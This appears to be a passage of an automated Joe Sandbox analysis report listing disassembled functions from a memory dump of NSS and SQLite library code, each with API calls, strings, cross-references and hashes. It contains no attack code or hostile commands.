Part of subcall function 6C6A9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C6BC6FD,?,?,?,?,6C70F965,00000000), ref: 6C6A9F0E
Part of subcall function 6C6A9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C70F965,00000000), ref: 6C6A9F5D

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: b13c6aae2a6ed9753ea17b9c9346f6e4ede9b9048fc94a1d74c33a6bd59626b7
Instruction ID: 5cfa6fcb8e5f2511201f36806f5c78a09917bed2379aeaa7903f06bbf55d849a
Opcode Fuzzy Hash: b13c6aae2a6ed9753ea17b9c9346f6e4ede9b9048fc94a1d74c33a6bd59626b7
Instruction Fuzzy Hash: CD91F7B1A002058FDB14CF68C984BAB77B5FF86308F14463DE416A7A51EB31E465CB95

Function 6C838D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C8814E4,6C7ECC70), ref: 6C838D47
PR_GetCurrentThread.NSS3 ref: 6C838D98

Part of subcall function 6C710F00: PR_GetPageSize.NSS3(6C710936,FFFFE8AE,?,6C6A16B7,00000000,?,6C710936,00000000,?,6C6A204A), ref: 6C710F1B
Part of subcall function 6C710F00: PR_NewLogModule.NSS3(clock,6C710936,FFFFE8AE,?,6C6A16B7,00000000,?,6C710936,00000000,?,6C6A204A), ref: 6C710F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C838E7B
htons.WSOCK32(?), ref: 6C838EDB
PR_GetCurrentThread.NSS3 ref: 6C838F99
PR_GetCurrentThread.NSS3 ref: 6C83910A

Strings

%u.%u.%u.%u, xrefs: 6C838E74

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 2775a69ef36515d5d2e667f5d81a6f9a2fd8163132b8a9c1321e801935f8ddcb
Instruction ID: c1da23708c1102740aa7c47ff1eefcef49915e9007c2b86849b43b28e30ba1cc
Opcode Fuzzy Hash: 2775a69ef36515d5d2e667f5d81a6f9a2fd8163132b8a9c1321e801935f8ddcb
Instruction Fuzzy Hash: C902ED319052718FDB34CF58C56836ABBB3EF42304F19AA5AC8996BB91C739D908C7D0

Function 6C7B68E0 Relevance: 12.2, APIs: 8, Instructions: 241COMMON

Download Yara Rule

APIs

PR_GetIdentitiesLayer.NSS3 ref: 6C7B68FC
PR_EnterMonitor.NSS3 ref: 6C7B6924

Part of subcall function 6C7E9090: TlsGetValue.KERNEL32 ref: 6C7E90AB
Part of subcall function 6C7E9090: TlsGetValue.KERNEL32 ref: 6C7E90C9
Part of subcall function 6C7E9090: EnterCriticalSection.KERNEL32 ref: 6C7E90E5
Part of subcall function 6C7E9090: TlsGetValue.KERNEL32 ref: 6C7E9116
Part of subcall function 6C7E9090: LeaveCriticalSection.KERNEL32 ref: 6C7E913F

Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107AD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107CD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107D6
Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6A204A), ref: 6C7107E4
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,6C6A204A), ref: 6C710864
Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C710880
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,6C6A204A), ref: 6C7108CB
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108D7
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108FB

PR_EnterMonitor.NSS3 ref: 6C7B693E
TlsGetValue.KERNEL32 ref: 6C7B6977
TlsGetValue.KERNEL32 ref: 6C7B69B8
PR_ExitMonitor.NSS3 ref: 6C7B6B1E
PR_ExitMonitor.NSS3 ref: 6C7B6B39
TlsGetValue.KERNEL32 ref: 6C7B6B62

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSectioncalloc$IdentitiesLayerLeave
String ID:
API String ID: 4003455268-0
Opcode ID: 347d7723b2bf39654232779e4eb25466df62d0b18f5ae1b89434542abefb3c0f
Instruction ID: 17fdcad13644f8315ba23f813c048ed1e88a43b6868f690989357cd246c268ea
Opcode Fuzzy Hash: 347d7723b2bf39654232779e4eb25466df62d0b18f5ae1b89434542abefb3c0f
Instruction Fuzzy Hash: C491A174658100CBDB58EF2DC68495F7BB2FB87308B718269D944EFA29D731DA81CB81

Function 6C6BEFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

sqlite_temp_master, xrefs: 6C6BF0A6, 6C6BF2D5
there is already an index named %s, xrefs: 6C6BF9D7
table, xrefs: 6C6BF05C, 6C6BFABC, 6C6BFAC7
authorizer malfunction, xrefs: 6C6BF95C, 6C6BF9BF, 6C6BFA5E, 6C6BFA8B
%s %T already exists, xrefs: 6C6BFAC8
temporary table name must be unqualified, xrefs: 6C6BF734
not authorized, xrefs: 6C6BF957, 6C6BF9BA
view, xrefs: 6C6BF061, 6C6BF071, 6C6BFAB7
sqlite_master, xrefs: 6C6BF0AB, 6C6BF2DA, 6C6BF757, 6C6BF93E

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 10a73183fec2e89e79bdc849367756b4dbf94dfbd79f2ad2b9edd1936cbc1701
Instruction ID: ad6492bf86d4affaa63c5bf89b323ad7d9be6522d03b6728520ab08608264e65
Opcode Fuzzy Hash: 10a73183fec2e89e79bdc849367756b4dbf94dfbd79f2ad2b9edd1936cbc1701
Instruction Fuzzy Hash: B872E378E042058FDB14CF68C480BA9BBF1FF49308F1481ADD815ABB62D775E866CB95

Function 6C7D9C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6C6AC52B), ref: 6C7D9D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C7DA035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C7DA114

Strings

%s at line %d of [%.10s], xrefs: 6C7DA02E, 6C7DA10D
database corruption, xrefs: 6C7DA029, 6C7DA108
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C7DA01F, 6C7DA0E4, 6C7DA0FE

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: 50f51338a599e682b85f288ebb81c0339a342b35884cabeff92fed9d9a15e89f
Instruction ID: 7546d541d1e2c57f5bca2adeeaa788585d82aaff1c94cfaaa753a55ef845ad9d
Opcode Fuzzy Hash: 50f51338a599e682b85f288ebb81c0339a342b35884cabeff92fed9d9a15e89f
Instruction Fuzzy Hash: 0122AD716083419FC704CF29C6A062AB7E1BFDA358F158A2DE8DA97A51DB31F845CB42

Function 6C7409A0 Relevance: 11.0, APIs: 7, Instructions: 489memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7406A0: TlsGetValue.KERNEL32 ref: 6C7406C2
Part of subcall function 6C7406A0: EnterCriticalSection.KERNEL32(?), ref: 6C7406D6
Part of subcall function 6C7406A0: PR_Unlock.NSS3 ref: 6C7406EB

memcmp.VCRUNTIME140(00000000,6C729B8A,0000000C,?,?,?,?,?,?,00000000,00000000,?,?,6C729B8A,00000000,k-rl), ref: 6C7409D9
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,?,?,?,?,?,00000000,00000000,?,?,6C729B8A,00000000,k-rl), ref: 6C7409F2
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C729B8A,00000000,k-rl), ref: 6C740A1C
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C729B8A,00000000,k-rl), ref: 6C740A30
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C729B8A,00000000,k-rl), ref: 6C740A48

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Alloc_ArenaUtilmemcmp
String ID:
API String ID: 115324291-0
Opcode ID: 61f8665d22a8ed581408bfe9cbab95f42d6c86ea0bc5e2b9d23269c45bb0e0b6
Instruction ID: 2171eddbbdebc4c0c2ffa3511229d00e4b22d6e839c0d71aab0e1988b1ee174e
Opcode Fuzzy Hash: 61f8665d22a8ed581408bfe9cbab95f42d6c86ea0bc5e2b9d23269c45bb0e0b6
Instruction Fuzzy Hash: EF02F1B2E002149FEB008F65CE45BAB77B9FF58318F048139E919A7B52E731E914CB91

Function 6C700820 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 1448COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000001,00000001), ref: 6C7011D2

Strings

@, xrefs: 6C700B17
authorizer malfunction, xrefs: 6C701BD2
not authorized, xrefs: 6C70175E, 6C701763
rows deleted, xrefs: 6C7017D2

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: memset
String ID: @$authorizer malfunction$not authorized$rows deleted
API String ID: 2221118986-4041583037
Opcode ID: c1dce6c95dc676606b9c2da877478bd56bb278eff83c8e9c06c62db473a44d7a
Instruction ID: 7b2f037bd9b232009b048cbf25d83f452d5952665eb062cbb38ecc3317d4054b
Opcode Fuzzy Hash: c1dce6c95dc676606b9c2da877478bd56bb278eff83c8e9c06c62db473a44d7a
Instruction Fuzzy Hash: D1D29AB0E04249CFDB14CFA9C980B9DBBF2BF49318F288169D415ABB51D771E956CB80

Function 6C7CC9E0 Relevance: 7.7, APIs: 5, Instructions: 187timeCOMMON

Download Yara Rule

APIs

PR_NormalizeTime.NSS3(00000000,?), ref: 6C7CCEA5

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: NormalizeTime
String ID:
API String ID: 1467309002-0
Opcode ID: 7d52196d7cf19fd358559137f3ffb8e9a7fb0d5d90ff633d40fac5b31a5a5e6e
Instruction ID: 7192deaf828faa44b6d7a155ad0542d28a47bdbf73a2dcb1678ec106ad51393e
Opcode Fuzzy Hash: 7d52196d7cf19fd358559137f3ffb8e9a7fb0d5d90ff633d40fac5b31a5a5e6e
Instruction Fuzzy Hash: C271B571A057018FC304CF29C98461ABBE5FF89318F258B6EE469C77A1E730D945CB92

Function 6C83CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C83D086
PR_Malloc.NSS3(00000001), ref: 6C83D0B9
PR_Free.NSS3(?), ref: 6C83D138

Strings

>, xrefs: 6C83CF5B

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: b29025d22de6db181f87370946a0714d17127e0c1244c2d137844500df667c06
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 30D18F62B5157A4BEB3448FCCDB13D9B7938742374F583B2AD0298BBD6E619884383C1

Function 6C7DAD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 085a7194402bdeedc163bf9b1d1db6d97fe39ab3210a092589bc266a387b74fe
Instruction ID: 54df8af2015e204a292cc6d1683cc4a9aa1b7468671e4657ea9ac0aa5c1cff2c
Opcode Fuzzy Hash: 085a7194402bdeedc163bf9b1d1db6d97fe39ab3210a092589bc266a387b74fe
Instruction Fuzzy Hash: FFF19E71E012268FEB25CF28CA587AD77B4BB8A308F16423DD51597B44FB74A941CBE0

Function 6C790E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C791052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C791086

Strings

h(yl, xrefs: 6C790E55, 6C790EC4, 6C790F3A, 6C790FA7
h(yl, xrefs: 6C791062, 6C79105D, 6C790F37, 6C791081, 6C791082

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: memcpymemset
String ID: h(yl$h(yl
API String ID: 1297977491-1804843668
Opcode ID: 8a3b52d84f0b42c556e9d19a798ed903460881df5b2f1cc662316c53cc442ac7
Instruction ID: 3468cfc4cde230c61e0e2581abc73f1dcabccb7e282703a4ab90f25827d08f1b
Opcode Fuzzy Hash: 8a3b52d84f0b42c556e9d19a798ed903460881df5b2f1cc662316c53cc442ac7
Instruction Fuzzy Hash: 84A13C71B0125A9FDF08CF99D994AEEBBB6BF8C314B148129E905A7700D735ED11CBA0

Function 6C706900 Relevance: 6.3, Strings: 4, Instructions: 1257COMMON

Download Yara Rule

Strings

BBB, xrefs: 6C707207, 6C70780B
sqlite\_%, xrefs: 6C706953
authorizer malfunction, xrefs: 6C707910
not authorized, xrefs: 6C7078EC, 6C7078F1

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: BBB$authorizer malfunction$not authorized$sqlite\_%
API String ID: 3412268980-2664116055
Opcode ID: 5dfd542f8df4ec49f0510d464b6e9ea41b6b67687250124123f82930a288cebd
Instruction ID: da24279275165178006765d85d0b7309a560d410b12810eefc65a1b30c3d5310
Opcode Fuzzy Hash: 5dfd542f8df4ec49f0510d464b6e9ea41b6b67687250124123f82930a288cebd
Instruction Fuzzy Hash: 5AC292B4E00205DFCB14CF58C590AA9BBF2FF89308F24816DD915ABB52D736A956CF80

Function 6C6B6F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

unordered*, xrefs: 6C6B702B
sz=[0-9]*, xrefs: 6C6B7049
noskipscan*, xrefs: 6C6B7067
*?[, xrefs: 6C6B7034, 6C6B7052, 6C6B7070

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: cdc8aec088bd772dae5e769dd3403c7bf1c222c158202bdb87176d9ab9118831
Instruction ID: c55ebf69545ed33d17d08bc046f4d3d9139ce01ae5334e01d609bfa311262f11
Opcode Fuzzy Hash: cdc8aec088bd772dae5e769dd3403c7bf1c222c158202bdb87176d9ab9118831
Instruction Fuzzy Hash: 20717B72F001154BEB248E6DC8803DA73A39F85318F290279C969BBBC1D6719C6687E9

Function 6C74EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C74F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6C74F0F9

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 5578809a533e4c9c4b3e5c7321613cebeaac2a3e0a1e1a0ebb5d19483915b6ba
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 2991BE71E0061A8BCB14CF68C9906AEB7F1FF85324F24872DD962A7BD1D730A905CB91

Function 6C772F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6C797929), ref: 6C772FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6C797929), ref: 6C772FE0

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: d5f2dd4c75d9a034dcbffcd1ba1422d4590ad5e4ab7c1a62f66064d5d83b8a10
Instruction ID: 078c9e06aaceca4bc765c43675e0ed358e38ef815674d818b8c930ac93fe6e14
Opcode Fuzzy Hash: d5f2dd4c75d9a034dcbffcd1ba1422d4590ad5e4ab7c1a62f66064d5d83b8a10
Instruction Fuzzy Hash: FB512671A059198FDF30CE59CB88B6A73B2FB45318F250179D9195BB02C735E842CBA1

Function 6C6BAC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6C6BAE9F
winUnlock, xrefs: 6C6BAE18

Memory Dump Source

